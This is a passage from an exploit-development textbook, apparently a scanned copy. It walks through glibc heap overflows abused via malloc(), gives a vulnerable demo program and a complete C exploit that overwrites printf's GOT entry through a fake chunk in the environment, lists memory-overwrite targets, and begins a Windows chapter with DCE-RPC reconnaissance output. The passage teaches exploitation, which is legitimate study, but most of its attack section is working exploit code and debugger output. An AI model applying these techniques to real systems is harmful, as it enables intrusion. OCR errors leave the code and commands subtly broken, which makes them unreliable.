0xbffffff0f in ?? () 
 
As you can see, we’ve redirected execution to the stack. If this were a local 

heap overflow, and assuming the stack was executalb, the game would be over. 
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Intermediate Heap Overflows 
 

In this section of the chapter we will explore exploiting a seemingly simple 
variation of the heap overflow detailed above. Instead of free(), the overflowed 
program will call malloc(). This makes the code take an entirely different path and 
react to the overflow in a much more complex manner. The example exploit for 
this vulnerability is presented here, and you may find it enlightening to go through 
this example on your own. The exercise teaches you to treat each vulnerability 
from the perspective of someone who can control only a few things and must 
leverage those things by examining all of the potential code paths that flow 
forward from your memory corruption. 

You will find the code of this structure exploitable in the same fashion, even 
though malloc() is being called instead of free(). These overflows tend to be quite 
a bit trickier, so don’t get discouraged if you spend a lot more time in gdb on this 
variety than you did on the simple free() unlink() bugs. 

 
/*heap2.c – a vulnerable program that calls malloc() */ 
int 
main(int argc, char *8argv) 
{ 
  
 char *buf, *buf2,*buf3; 
  
 buf=(char*)malloc(1024); 
 buf2=(char*)malloc(1024); 
 buf3=(char*)malloc(1024); 
 free(buf2); 

strcpy(buf,argv[1]); 
nuf2=(char*)malloc(1024); //this was a free() in the previous example 
 printf(“Done.”); //we will use this to take control in our exploit 

   } 
 
 
NOTE When fuzzing a program, it is important to use both 0x41 and 0x50, 

since 0x41 does not trigger certain heap overflows(having the 
previous-flag or the mmap-flag set to 1 in the chunk header is not good, 
and may prevent the program from crashing, which makes your fuzzing 
not as worthwhile). For more information on fuzzing, see Chapter 15. 

 
To watch the program crash, load heap2 in gdb and use the following 

command: 
 
(gdb) r `python –c ‘print “\x50”*1028+”\xff”*4=”\xa0\xff\xff\xbf\xa0\xff\xff\xbf” ‘ ` 
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NOTE On Mandrake and a few other systems, finding __exit_funcs can be a 

little difficult. Try breakpoingting at <__cxa_atexit+45>: mov 
%eax,0x4(%edx) and printing out %edx. 

 
Abusing malloc can be quite diffcutl—you eventually enter a loop similar to the 

following in _int_malloc(). Your implementation may vary slightly, as glibc versions 
change. In the following snippet of code, bin is the address of the chunk you 
overwrote. 

 bin = bin_at(av,idx); 
 for (victim = last(bin); victim != binl victim = victim->bk) { 
 size = chunksize(victim); 
 
 if ((unsigned long) (size) >= (unsigned long) (nb)) { 
  remainder_size = size – nb; 
  unlink(victim, bck, fwd); 
 
 /* Exhaust */ 
 if (remainder_size < MINSIZE) { 
  set_inuse_bit_at_offset(victim, size); 
  if (av != &main_arena) 
  victim->size |= NON_MAIN_ARENA; 
  check_malloced_chunk(av, victim, nb); 
  return chunk2mem(victim); 
 } 
 /* Split */ 
 else { 
   remainder = chunk_at_offset(victim, nb); 
   unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder; 
   remainder->bk = remainder->fd = unsorted_chunks(av); 

set_head(victim, nb | PREV_INUSE | (av != &main_arena ? 
NON_MAIN_ARENA : 0)); 

set_head(remainder, remainder_size | PREV_INUSE); 
set_foot(remainder, remainder_size); 
check_malloced_chunk(av, victim, nb); 
return chunk2mem(victim); 
} 

 } 
       } 
 

This loop has all sorts of useful memory writes; however, if you are restricted to 
non-zero characters, you will find the loop difficult to exit. This is because the two 
major exit cases are wherever fakechunk->size minus size is less than 16 and 
when the fake chunk’s next pointer is the same as the requested block. Guessing 
the address of the requested block may be impossible, or prohibitively difficult(long 
brute-forcing sessions), without an information leakage bug. As Halvar Flake once  
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said, “Good hackers look for information leakage bugs, since they make exploiting 
things reliably much easier.” 

The code looks a bit confusing, but it is simple to exploit by setting a fake chunk 
to either the same size or by setting a fake chunk’s backwards pointer to the 
original bin. You can get the original bin from the backwards pointer that we 
overflowed (which is printed out nicely by heap2.c), something that you will 
probably exhaust during a remote attack. This will be reasonably static on a local 
exploit, but may still not be the easiest way to exploit this. 

The exploit below has two features that may appear easily only on a local 
exploit: 

 It uses pinpoint accuracy to overwrite the free() ‘d chunk’s pointers into a 
fake chunk on the stack in the environment, which the user can control 
and locate exactly. 

 The user’s environment can contain zeros. This is important because the 
exploit uses a size equal to the requested size, which is 1024(plus 8, for 
chunk header). This requires putting null bytes into the header. 

The following program does just that. Pointers in the chunk’s header are 
overwritten before the malloc() call is made. Then malloc() is tricked into 
overwriting a functiong pointer (the Global Offset Table entry for printf() ). Then 
printfg() redirects into our shellcode, currently just 0xcc, which is int3, the debug 
interrupt. It is important to align our buffers so they are not at addresses with the 
lower bits set (i.e., we don’t want malloc() to think our buffers are mmapped() or 
have the previous bit set). 

 
heap2xx.c – exploit for heap2.c 
 
There are two possibilities for this exploit: 
1. glibc 2.2.5, which allows writing one word to any other word. 
2. glibc 2.3.2, which allows writing the address of the current chunk header to 

any chosen place in memory. This makes exploitation much more difficult, 
but still possible. 

 
Note that the exploit will not, in either condition, drop the user to a shell. It will 

usually seg-fault on an invalid instruction during successful exploitation. Of course, 
to get a shell, you would just need to copy shellcode in the proper place. 

The following list applies to the second glibc option, and is included to help 
clarify some of the differences between the two. You may find that making similar 
notes as you go through this problem can be advantageous. 
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 After overwriting the free buf2’s malloc chunk tag, we tag the fd and bk 
field (ends up as eax) pointing both the forward and backward pointer into 
to the env to a free chunk boundary we control. Make sure we have > 
1032+4 chunk env offset to survive or1 $0x1, 0x4(%eax,%esi,1) where esi 
ends up with the same address as our eax address and eax is set to 1032. 
On the next malloc call to a 1024-byte memory area, it will go through our 
same size bin area and process our corrupt double linked-list free chunk, 
tagz0r. 

 We align to point the bk and the fd prt to the prev_size (oxfffffffc) field of 
our fake env chunk. This is done to make sure that whatever pointer is 
used to enter the macro works correctly. 

 We exit the loop by making the S < chunksize (FD) check fail, setting the 
size field in our env chunk to 1032. 

 Inside the loop, %ecx is written to memory like this: mov %ecx, 0x8(%eax). 
 
We can confirm this behavior in a test with printf’s Global Offset Table (GOT) 

entry (in this case at 0x080496d4). In a run where we set the bk field in our fake 
chunk to 0x080496d4 – 8 we see the following results: 

 
(gdb) x/x 0x080496d4 
0x80496d4 <_GLOBAL_OFFSET_TABLE_+20>: 0x4015567c 
 
If we look at ecx on an invalid eax crash we see: 
 
(gdb) I r eax ecx 
eax  0x41424344  1094861636 
ecx  0x4015567c  1075140220 
(gdb) 
 
We are now already altering the flow of execution, making the heap2.c program 

jump into main_arena(which is where ecx points) as soon as it hits the printf. 
Now we crash on executing our chunk. 
 
(gdb) x/i$pc 
0x40155684 <main_arena+100>; cmp %bl,0x96cc0804(%ebx) 
(gdb) disas $ecx 
Dump of assembler code for function main_arena: 
0x40155620 <main_arena>:  add %al, (%eax) 
… *snip* … 
0x40155684 <main_arena+100>: cmp %bl,0x96cc0804(%ebx) 
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#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
 
#define VULN “./heap2” 
 
#define XLEN 1040 /* 1024+16 */ 
#define ENVPTRZ 512 /* enough to hold our big layout */ 
 
/* mov %ecx,0x8(PRINTF_GOT) */ 
#define PRINTF_GOT 0x08049648 – 8 
/* 13 and 21 work for Mandrake 9, glibc 2.2.5 – you may want to modify these until you point 
directly at 0x408 (or 0xfffffffc, for certain glibc’s). Also, your address must be “clean” meaning 
not have lower bits set. 0xf0 is clean, 0xf1 is not. 
*/ 
#define CHUNK_ENV_ALLIGN 17 
#define CHUNK_ENV_OFFSET 1056-1024 
 
/* Handy environment loader */ 
unsigned int 
ptoa(char **envp, char *string, unsigned int total_size) 
{ 
 char *p; 
 unsigned int cnt; 
 unsigned int size; 
 unsigned int I; 
  
 p=string; 
 cnt = size = I = 0; 
 for (cnt = 0; size < total_size; cnt ++) 
 { 
  envp[cnt] = (char *) malloc(strlen(p)+1); 
  envp[cnt] = strdup(p); 
 #ifdef DEBUG 
  fprintf(stderr, “[*] strlen: %d\n”, strlen(p) + 1); 

 for (i = 0; i < strlen(p) + 1; i++) fprintf(stderr, “[*] %d: 0x%.02x\n”, i, p[i]); 
 #endif 
  Size += strlen(p) + 1; 
  p += strlen(p) + 1; 
 } 
 return cnt; 
} 
 
int 
main(int argc, char **argv) 
{ 
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unsigned char *x; 
char *ownenv[ENVPTRZ]; 
unsigned int xlen; 
unsigned int i; 
unsigned char chunk[2048+1]; /* 2 times 1024 to have enough controlled mem to 
survive the or1 */ 
unsigned char *exe[3]; 
unsigned int env_size; 
unsigned long retloc; 
unsigned long retval; 
unsigned int chunk_env_offset; 
unsigned int chunk_env_align; 
 
xlen = XLEN + (1024 – (XLEN – 1024)); 
chunk_env_offset = CHUNK_ENV_OFFSET; 
chunk_env_align = CHUNK_ENV_ALLIGN; 
exe[0] = VULN; 
exe[1] = x = malloc(xlen+1); 
exe[2] = NULL; 
if (!x) exit (-1); 
fprintf(stderr, “\n[*] Options: [ <environment chunk alignment> ] [<environment 
chunk offset> ]\n\n”); 
if (argv[1] && (argc == 2 || argc == 3)) chunk_env_align = atoi(argv[1]); 
if (argv[2] && argc == 3) chunk_env_offset = atoi(argv[2]); 
fprintf(stderr, “[*] using align %d and offset %d\n”, chunk_env_align, 
chunk_env_offset); 
retloc = PRINTF_GOT; /*printf GOT-0x8 … this is where ecx gets written to, ecx is 
a chunk prt */ 
/* where we want to jump do, if glibc 2.2 – just anywhere on the stack is good for a 
demonstration */ 
retval=0xbffffd40; 
fprintf(stderr, “[*] Using retloc: %p\n”,retloc); 
memset(chunk, 0x00, sizeof(chunk)); 
for (i = 0; i < chunk_env_align; i++) chunk[i] = ‘X’; 
for (i = chunk_env_align; i <= sizeof(chunk) – (16+1);i += (16)) 
{ 
 *(long *)&chunk[i] = 0xfffffffc; 
 *(long *)&chunk[i+4] = (unsigned long)1032; /* S == chunksize(FD) … 
breaking loop (size == 1024 + 8) */ 
 /* retral is not used for 2.3 exploitation…*/ 
 *(long *)&chunk[i+8] = retval; 
 *(long *)&chunk[i+12] = retloc; /* printf GOT – 8..mov %ecx,0x8(%eax) */ 
} 
#ifdef DEBUG 
 for (i = 0; i < sizeof(chunk); i++) fprintf(stderr, “[*] %d: 0x%.02x\n”, i, chunk[i]); 
#endif 
 memset(x,0xcc,xlen); 
 

team 509's presents



Introduction to Heap Overflows 99 
 
*(long *)&x[XLEN-16] = 0xfffffffc; 
*(long *)&x[XLEN-12] = 0xfffffff0; 
/* we point both fd and bk to our fake chunk tag … so whichever gets used is ok 
with us */ 
/* we substract 1024 since our buffer is 1024 long and we need to have space for 
writes after it… 
* you’ll see when you trace through this. */ 
* (long *)&x[XLEN-8] = ((0xc0000000 – 4) – strlen(exe[0]) – 
chunk_env_offset-1024); 
*(long *)&x[XLEN-4] = ((0xc0000000 – 4) – strlen(exe[0]) – 
chunk_env_offset-1024); 
printf(“Our fake chunk (0xfffffffc) needs to be at %p\n”, ((oxc0000000-4) – 
strlen(exe[0]) – chunk_env_offset)-1024); 
/* you could memcpy shellcode into x somewhere, and you would be able to jmp 
directly into it – otherwise it will just execute whatever is on the stack – most likely 
nothing good. (for glibc 2.2) */ 
/* clear our environment array */ 
for (i = 0; i < ENVPTRZ; i++) ownenv[i] = NULL; 
i = ptoa(ownenv, chunk, sizeof(chunk)); 
fpritnf(stderr, “[*] Size of environment array: %d\n”,i); 
fprintf(stderr, “[*] Calling: %s\n\n”,exe[0]); 
if (execve(exe[0], (char **)exe, (char **)ownenv)) 
{ 
 fprintf(stderr, “Error executing %s\n”, exe[0]); 
 free(x); 
 exit(-1); 
} 

} 
 
 

Advanced Heap Overflow Exploitation 
 
The ltrace program is a godsend when exploiting complex heap overflow 
situations. When looking at a heap overflow that is moderately complex, you must 
go through several non-trivial steps: 
 

1. Normalize the heap. This may mean simply connecting to the process, if 
it forks and calls execve, or starting up the processes with execve() if it’s a 
local exploit. The important thing is to know how the heap is set up initially. 

2. Set up the heap for your exploit. This may mean many meaningless 
connections to get malloc functions called in the correct sizes and oders 
for the heap to be set up favorably to your exploit. 

3. Overflow one or more chunks. Get the program to call a maloc function 
(or several malloc functions) to overwrite one or more words. Next, make 
the program execute one of the function pointers you overwrote. 
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It is important to stop thinking of exploits as interchangeable. Every exploit has 
a unique environment, determined by the state of the program, the things you can 
do to the program, and the particular bug or bugs you exploit. Don’t restrict 
yourself to thinking about the program only after you have exploited the bugs. 
What you do before you trigger a bug is just as important to the stability and 
success of your exploit. 
 
What to Overwrite 
 
Generally, follow these three strategies: 

1. Overwrite a function pointer. 
2. Overwrite a set of code that is in a writable segment. 
3. If writing two words, write a bit of code, then overwrite a function pointer to 

point to that code. In addition, you can overwrite a logical variable(such as 
is_logged_in) to change program flow. 

 
GOT Entries 
 
Use objdump –R to read the GOT function pointers from heap2: 
 
 [dave@www FORFUN] $ objdump –R ./heap2 
 ./heap2:  file format elf32-i386 
 
 DYNAMIC RELOCATION RECORDS 
 OFFSET TYPE   VALUE 
 08049654 R_386_GLOB_DAT __gmon_start__ 
 08049640 R_385_JUMP_SLOT malloc 
 08049644 R_385_JUMP_SLOT __libc_start_main 
 08049648 R_385_JUMP_SLOT printf 
 0804964c R_385_JUMP_SLOT free 
 08049650 R_385_JUMP_SLOT strcpy 
 
 
Global Function Pointers 
 
Many libraries such as malloc.c rely on global function pointers to manipulate their 
debugging information, or logging information, or some other frequently used 
functionally. __free_hook, __malloc_hook, and __realloc_hook are often useful in 
programs that call one of these functions after you are able to perform an 
overwrite. 
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.DTORS 
.DTORS are dustructors gcc uses on exit. In the following example, we could use 
8049632c as a function pointer when the program calls exit to get control. 
 
 [dave@www FORFUN]$ objump –j .dtors –s heap2 
 
 heap2: file format elf32-i386 
 
Contents of section .dtors: 
 
 8049628 ffffffff 00000000 
 
 
atexit Handlers 
See the note above for finding atexit handlers on systems without symbols for 
exit_funcs. These also called upon program exit. 
 
Stack Values 
The saved return address on the stack is often in a predictable place for local 
execution. However, because you cannot predict or control the environment on a 
remote attack, this is probably not your best choice. 
 
 
Conclusion 
 
 
Because most heap overflows corrupt a malloc() data structure to obtain control, 
some work has been done in the area of protective canaries for various malloc() 
implements, similar in theory to stack canaries, but these have not ye caught on in 
most malloc() implementations(FreeBSD is the only one at the time of writing that 
has this simple check, for example). Even if heap canaries become commonplace, 
some heap overflows don’t work by manipulating the malloc() implementation, and 
many programs will continue to be vulnerable. 
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PART 
 
Two 

Exploiting More 
Platforms: Windows,      

Solaris, and Tru64 

Now that you have completed the introductory section on vulnerability 
development for the Linux/IA32 platform, we will explore more difficult and tricky 
operating systems and exploitation concepts. We will move into the world of 
Windows, where we will detail some interesting exploitation concepts from a 
Windows hacker’s point of view. The first chapter in this part, Chapter 5, will help 
you understand how Windows is different from the Linux/IA32 content in Part I. We 
will move right into Windows shellcode in Chapter 7, and then delve into some 
more advanced Windows content in Chapter 8. Finally, we will round out the 
Windows content with a chapter on overcoming filters for Windows in Chapter 9. 
The concepts for circumventing various filters can be applied to any hostile code 
injection scenario. 
The other chapters in this section will show you how to discover and exploit 
vulnerabilities for the Solaris and Tru64 operating systems. As Solaris runs on an 
entirely different architecture than the Linux and Windows content described thus 
far, it may at first appear alien to you. The two Solaris chapters will have you 
hacking Solaris on SPARC like a champ, introducing the Solaris platform in 
Chapter 10 and delving into more advanced concepts in Chapter 11, such as 
abusing the Procedure Linkage Table and the use of native blowfish encryption in 
shellcode. 
Finally, the part will be rounded out with an examination of vulnerability 
development for the HP Tre64 platforms in Chapter 12.  
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CHAPTER 
6 

The Wild World 
of Windows 

We have reached the point in the book in which all operating systems will be 
defined by their differences from Linux. This chapter will give experienced 
Win32 hackers a fresh perspective on Windows issues and at the same time 
allow Unix-oriented hackers to gain a good grasp of Win32 internals. At the 
end of this chapter, you should be able to write a basic Windows exploit and 
avoid some of the common pitfalls that will stand in your way when you 
attempt more complex exploits. 

You’ll also gain an understanding of how to use basic Windows debugging 
tools. Along the way you’ll develop an understanding of the Windows security 
and programming model and a basic knowledge of Distributed Component 
Object Model(DCOM) and Portable Executable—Common File 
Format(PE-COFF). In short, this chapter contains everything an expert-level 
hacker with years of real-world experience would have loved to know when 
first learning to attack Windows platforms. 
 
 
How Does Windows Differ from Linux? 
 
The Windows NT team made a few design decisions early on that profoundly 
affected every resulting architecture. The NT project was in full swing in 1989, 
with its first release in 1991 as Windows NT 3.1. Most of the internals 
originally were taken from VMS, although there were several major 
differences between VMS and NT, notably an inclusion of kernel threads in 
the early versions of the NT kernel. In this chapter, we will visit some major 
features of NT that may not be recognizable to someone used to Linux or 
Unix internals. 
 
 

105 team 509's presents



106 Chapter 6 
 
Win32 API and PE-COFF 
 
OllyDbg, a full-featured, assembler-level, analyzing debugger that runs on 
Windows (see Figure 6.1), is a powerful tool for binary analysis. You will best 
understand the content in this chapter when working with a binary analysis 
debugger such as OllyDbg. To apply what you learn here, you will need a tool 
with its features. OllyDbg is distributed under a shareware license and found 
at http://home.t-online.de/home/ollydbg/. 

The native API for Windows programs is the 32-bit Windows API, which a 
Linux programmer can think of simply as a collection of all the shared libraries 
available in /usr/lib. 

 
NOTE If you are a little rusty on the Windows API or are entirely new 
to it, you can read an excellent online tutorial on the Windows API by 
Brook Miles at www.winprog.org/tutorial/. 
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A skilled Linux programmer can write a program that talks directly to the kernel, 

for example by using the open() or write() syscalls. No such luck on Windows. 
Each new service pack and release of Windows NT changes the kernel interface, 
and a corresponding set of libraries (known as Dynamic Link Libraries [DLLs]) are 
included with the release to make programs continues to work. DLLS provide a 
way for a process to call a function that is not part of its own executable code. The 
executable code for the function is located in a DLL, containing one or more 
functions that are compiled, linked, and stored separately from the processes 
using them. The Windows API is implemented as an orderly set of DLLs, so any 
process using the Win32 API uses dynamic linking. 

This gives the Windows Kernel Team a way to change their internal APIs, or to 
add complex new functionality to them, while still providing a reasonably stable 
API for program developers to use. In contrast, you can’t add a new argument to a 
syscall in any Unix variant without a horde of programmers calling foul. 

Like any modern operating system, Windows uses a relocatable file format that 
gets loaded at runtime to provide the functionality of shared libraries. In Linux, 
these would be .so files, but in Windows these are DLLs. Much like a .so is an ELF 
file, a DLL is a PE-COFF file (also referred to as PE—portable executable). 
PE-COFF was derived from the Unix COFF format. PE files are portable because 
they can be loaded on every 32-bit Windows platform; the PE loader accepts this 
file format. 

A PE file has an import and export table at the beginning of the file that 
indicates both what files the PE needs to find and what functions inside those files 
it needs. The export indicates what functions the DLL provides. It also marks 
where in the file, once loaded into memory, to find the functions. The import table 
lists all the functions that the PE file uses that are in DLLs, as well as listing the 
name of the DLL in which the imported function resides. 

Most PE files are relocatable. Like ELF files, a PE file is composed of various 
sections; the .reloc section can be used to relocate the DLL in memory. The 
purpose of the .reloc section is to allow one program to load two DLLs that were 
compiled to use the same memory spce. 

Unlike Unix, the default behavior in Windows is to search for DLLs within the 
current working directory before it searches anywhere else. This provides certain 
abilities to escape Citrix or Terminal Server restrictions form a hacker’s 
perspective, but from a developer’s perspective it allows an application developer 
to distribute a version of a DLL that may be different from the one in the system 
root (\winnt\system32). This kind of versioning issue is sometimes called DLL-hell. 
A user will have to adjust their PATH environment variable and move DLLs around 
so that they don’t conflict with each other when trying to load a broken program. 

An important first thing to learn about PE-COFF is the Relative Virtual Address 
(RVA). RVAs are used to reduce the amount of work that the PE loader must  
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accomplish. Functions can be relocated anywhere in the virtual address space; it 
would be extremely expensive if the PE loader had to fix every relocatable item. 
You’ll notice as you learn Win32 that Microsoft tends to use acronyms (RVA,AV 
[Access Violation], AD [Active Directory], and so forth) rather than abbreviating the 
terms themselves as done in Unix (tmp, etc, vi, segfault). Each new Microsoft 
document introduces a few thousand additional terms and their associated 
acronyms. 
 

NOTE Fun fact for conspiracy theorists: Near the Microsoft campus is a 
rather prominent Scientologist building that no one ever seems to go into 
or come out of. 

 
RVA is just longhand for saying “Each DLL gets loaded into memory at a base 

address, and then you add the RVA to the base address to find something.” So , 
for example, the function malloc() is in the DLL msvcrt.dll. The header in msvcrt.dll 
contains a table of functions that msvcrt.dll provides, the export table. The export 
table contains a string with malloc and an RVA (for example, at 2000); after the 
DLL is loaded into memory, perhaps at 0x80000000, you can find the malloc 
function by going to 0x80002000. The default Windows NT location into which 
an .EXE is loaded is 0x40000000. This may change depending on language 
packs or compiler options, bug is reasonably standard. 

Symbols for PE-COFF files distributed by Microsoft are usually contained 
externally. You can download symbol packs for each version of their operating 
systems form Microsoft’s MSDN Web site, or use their Symbol Server remotely 
with WinDbg. OllyDbg does not currently support the remote Symbol Server. 

For more on PE-COFF, search Microsoft’s Web site for “PE-COFF.” As a final 
note, keep in mind that, like a few broken Unixes, Windows NT will not let you 
delete a file that is currently in use. 

 
 

Heaps 
 
When a DLL gets loaded, it calls an initialization function. This function often sets 
up its own heap using HeapCreate () and stores a global variable as a pointer to 
that heap so that future allocation operations can use it instead of the default heap. 
Most DLLs have a .data section in memory for storing global variables, and you 
will often find useful function pointers or data structures stored in that area. 
Because many DLLs are loaded, there are many heaps. With so many heaps to 
keep track of, heap corruption attacks can become quite confusing. In Linux, there 
is typically a single heap that can get corrupted, but in Windows, several heaps 
may get corrupted at once, which makes analyzing the situation much more 
complex. When a user calls malloc() in Win32, he or she is are actually using a  
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function exported by msvcrt.dll, which then calls HeapAllocate() with msvcrt.dll’s 
private heap. You may be tempted to try to use the HeapValidate() function to 
analyze a heap corruption situation, but this function does not do anything useful. 

The confusion generally occurs when you have finished exploiting a heap 
overflow and you want to call some Win32 API functions with your shellcode. 
Some of your functions will work and some will cause access violations inside 
RtlHeapFree() or RtoHeapAllocate, which may terminate the process before 
you’ve had a chance to take control. WinExec() and the like are notorious for not 
working with a corrupted heap. 

Each process has a default heap. The default heap can be found with 
GetDefaultHeap(), although that heap is unlikely to be the one that got corrupted. 
An important thing to note is that heaps an grow across segments. For example, if 
you send enough data to IIS, you will notice it allocating segments in high-order 
memory ranges and using that to store your data. Manipulating with which to 
overwrite the return address, and if you need to get away from the low-memory 
address of default heaps. For this reason, memory leaks in target programs can 
become quite useful, because they let you fill all the program’s memory with your 
shellcode. 

Heap overflows on Windows are about as easy to write as they are on Unix. 
Use the same basic techniques to exploit them—if you’re careful, you can even 
squeeze more than one write our of a heap overflow on Windows, which makes 
reliable exploitation much easier. 

 
 

Threading 
 
Windows supports threads in a way that Linux never has and probably won’t until 
the 2.6 kernel. Threading allows one process to do multiple things, sharing a 
single memory space. Windows’s kernel gives processor-time slices to threads, 
not processes. Linux does things with a “light-weight process” model, which is 
fairly weak; only when Linux Native Threads gets implemented will Linux be on 
stable thread footing with the rest of the modern OS world. Threads simply aren’t 
as important a programming model under Linux for reasons that will become clear 
as the NT security structure is explained. 

Threading is the reason for HRESULT.HRESULT, basically an integer value, 
is returned by almost all Win32 API calls. HRESULT can be either an error value 
or an OK value. If it is an error value, then you can get the specific error with 
GetLastError(), which retrieves a value from the thread’s local storage. If you think 
about Unix’s model, there’s no way to differentiate one thread’s errno from another. 
Win32 was designed from the ground up to be a threaded model. 
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Windows has no fork() (used to spawn a new process in Linux). Instead, 

CreateProcess() will spawn a new process that has its own memory space. This 
process can inherit any of the handles its parent has marked inheritable. However, 
the parent must then pass these handles to the child itself or have the child guess 
at their values (handles are typically small integers, like file handles). 

Because almost all overflows occur in threads, the attacker never knows a 
valid stack address. This meas the attacker almost always uses a return-into-libc 
trick (although using any DLL, not just libc or the equivalent) to gain control of 
execution. 

 
 

The Genius and Idiocy of the Distributed 
Common Object Model and DCE-PRC 
 
The Distributed Common Object Model (DCOM), DCE-PRC, NT’s Threading and 
Process Architecture, and NT’s Authentication Tokens are all interconnected. It 
helps to first understand the overall philosophy of COM in order to understand 
what sets COM apart from its Unix counterparts. 

You should remember that Microsoft’s position on software has always been 
to distribute binary packages for money and build an economy to support that. 
Therefore, every Microsoft software architecture supports this model. You can 
build a fairly complex application entirely by buying third-party COM modules from 
various vendors, throwing them into a directory structure, and then using Visual 
Basic script to tie them together. 

COM objects can be written in any language COM supports and interoperate 
seamlessly. Most of COM’s idiosyncrasies come forth as natural design decisions; 
for example, what is an integer to C++ may not be an integer to Visual Basic. 

To dig deeper into COM, you should look at a typical Interface Description 
Language (IDL) file. We’ll use a DCOM IDL file, which you will recognize later. 

 
[ uuid(e33c0cc4-0482-101a-bc0c-02608c6ba218), 
 version(1.0), 
 implicit_handle(handle_t rpc_binding) 
] interface ??? 
{ 
 typedef struct { 
   TYPE_2 element_1; 
   TYPE_3 element_2; 
 }  Type_1; 
… 
 short Function_00{ 
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 [in] long element_9, 
 [in] [unique]  [string] wchar_t *element_10, 
 [in] [unique]  TYPE_1 *element_11, 
 [in] [unique]  TYPE_1 *element_12, 
 [in] [unique]  TYPE_2 *element_13, 
 [in] long element_14, 
 [in] long element_15, 
 [out] [context_handle] void *element_16 
}; 
 
 
What we’ve defined here is similar to a C++ class’s header file. It simply says 

that these are the arguments (and return values) for a particular function in a 
particular interface as defined by that UUID. Anything that must be unique—any 
name—is a GUID in COM. This 128-bit number is supposed to be globally unique; 
i.e., there can be only one. Every time we see a reference to that particular UUID, 
we know we’re talking about this exact interface. 

Interface descriptions for COM objects can be arbitrarily complex. The 
compiler (and COM support) for the language is supposed to create a bit of code 
that can transform as long as the IDL specifies it into the format in which the 
language needs it to be represented. It is the same with characters, arrays, 
pointers stored with arrays, structures that have other arrays, and so on. 

In practice, a number of shortcuts can be taken to maintain acceptable speed. 
By saying that a long will be 32 bits in little-endian order, transforming from C++ to 
another C++ COM object’s representation is trivial. 

A COM service can be called in two ways: It can be loaded directly into the 
process space as a DLL, or it can be launched as a service ( by the Service 
Control Manager, a special process that suns as SYSTEM). Running a COM 
server in another process ensures that your process will be stable and more 
secure, though much slower. In-Process calls, which require no transformation of 
data types, are literally one thousand times faster than calling a COM interface on 
the same machine but in a different process. Going to the same machine is 
usually at least ten times faster than going to a machine on the same network. 

The important thing to Microsoft was that programmers could make a simple 
registry change or by changing one parameter in a program, that program would 
use a different process, or a different machine to make the same call. 

For example, look at the AT service on NT. If you were to write a program to 
interact with AT and schedule commands, you could look up the interface 
definition for the AT service, make a DCOM call to bind to that interface, and then 
call a particular procedure on that interface. Of course, you’d need the IDL file to 
know how to transform your arguments before you sent the data between your 
process and the AT service’s process. This same procedure would work even if 
the process and the AT service’s process. This same procedure would work even 
if the process were on another computer entirely. In that case, your DCOM 
libraries would connect to the remote computer’s endpoint mapper (TCP port 135)  
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and then ask it where the AT service was listening. The endpoint mapper (itself a 
DCOM service, but one that is always at a known port) would respond “The AT 
service is listening on the following named pipe PRC services, which you can 
connect to over ports 445 or 139. it is also listening on TCP port 1025 and UDP 
port 1034 for DCE-PRC calls.” All of this would be transparent to the developer. 

Now you know the genius of DCE-PRC and DCOM. You can sell binary 
DCOM packages or simply put up a network-accessible machine with those 
DCOM interfaces installed and let developers connect to them from Visual Basic, 
C++, or any other DCOM- \ enabled language. For extra speed, you can load the 
interfaces directly into your client process as a DLL. This paradigm is the basis of 
almost all the features that make Windows NT a distinctive server platform. “Rich 
clients,” “Remote manageability,” and “Rapid Application Development” are all just 
the same thing—DCOM. 

But of course, this is also the idiocy of DCE-RPC and DCOM. One man’s 
remote manageability is another man’s remote vulnerability. As a hacker, your 
goal is to know the target systems better than their administrators do. With DCOM 
as a complex, impossible-to-understand basis for every aspect of a system’s 
security, this is not hard to do. 

In the next sections, we’ll over a few of the basics for exploiting DCE-RPC 
and DCOM. 

 
 

Recon 
 
The tools are available for basic remote DCE-PRC recon: Dave Aitel’s SPIKE 
(www.immuitysec.com/) and Todd Sabin’s DCE-RPC tools (available from 
http://razor.bindview.com/ ). 

In this example, we’ll use SPIKE’s dcedump utility to view the DCE-RPC 
services (also known as DCOM interfaces) available remotely that are registered 
with the endpoint mapper. This is roughly the same as calling rpcdump –p on a 
Unix system. 

 
[dave@localhost dcedump] $ ./dcedump 192.168.1.108 | head -20 
DCE-PRC tester. 
TcpConnected 
Entrynum=0 
 
annotation= 
uuid=4f82f460-0e21-11cf-909e-00805f48a135 , version=4 
Executable on NT: inetinfo.exe 
ncacn_np:\\WIN2KSRV[\PIIPE\NNTPSVC] 
Entrynum=1 
 
annotation= 
uuid=906b0ce0-c70b-1067-b317-00dd010662da , version=1 
Executable on NT: msdtc.exe 
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ncalrpc[LRPC000001f4.00000001] 
Entrynum=2 
 
annotation= 
uuid=906b0ce0-c70b-1067-b317-00dd010662da , version=1 
Executable on NT: msdtc.exe 
ncacn_ip_tcp:192.168.1.108[1025] 
… 
 
As you can see, here we have three different interfaces and three different 

ways to connect to them. We can further examine the interface that the endpoint 
mapper provides with SPIKE’s interface ids(ifids) utility. Likewise, we can examine 
almost any other TCP enabled interface (msdtc.exe is one exception). 

 
[dave@localhost dcedump]$ ./ifids 192.168.1.108 135 
DCE-PRC IFIDS by Dave Aitel. 
Finds all the interfaces and versions listening on that TCP port  
Tcp Connceted 
Found 11 entries 
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1 
975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0 
e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0 
99fcfec4-5260-101b-bbcb-00aa0021347a v0.0 
b9e79e60-3d52-11ce-aaa1-00006901293f v0.2 
412f241e-c12a-11ce-abff-0020af6e7a17 v0.2 
00000136-0000-0000-c000-000000000046 v0.0 
c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0 
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 
000001a0-0000-0000-c000-000000000046 v0.0 
 
Done 
 
Now, these can be fen directly into SPIKE’s msrpcfuzz program to attempt to 

find overflows in the endpoint mapper or in any other TCP service. If you had the 
IDL for these services (you can get some of them from open source projects such 
as Snort), you could guide your analysis of these functions. Otherwise you are 
reduced to doing automatic or manual binary analysis. One program that may help 
you is Muddle, by Matt Chapman. You can find this program at 
www.cse.unsw.edu.au/~matthewc/muddle/; it will automatically decode certain 
executables to tell you their arguments. Muddle generated the IDL fragment you 
saw earlier in this chapter, which we took from the file for the PRC locator service. 

Microsoft has tunneled the DCE-RPC protocol across almost anything it can 
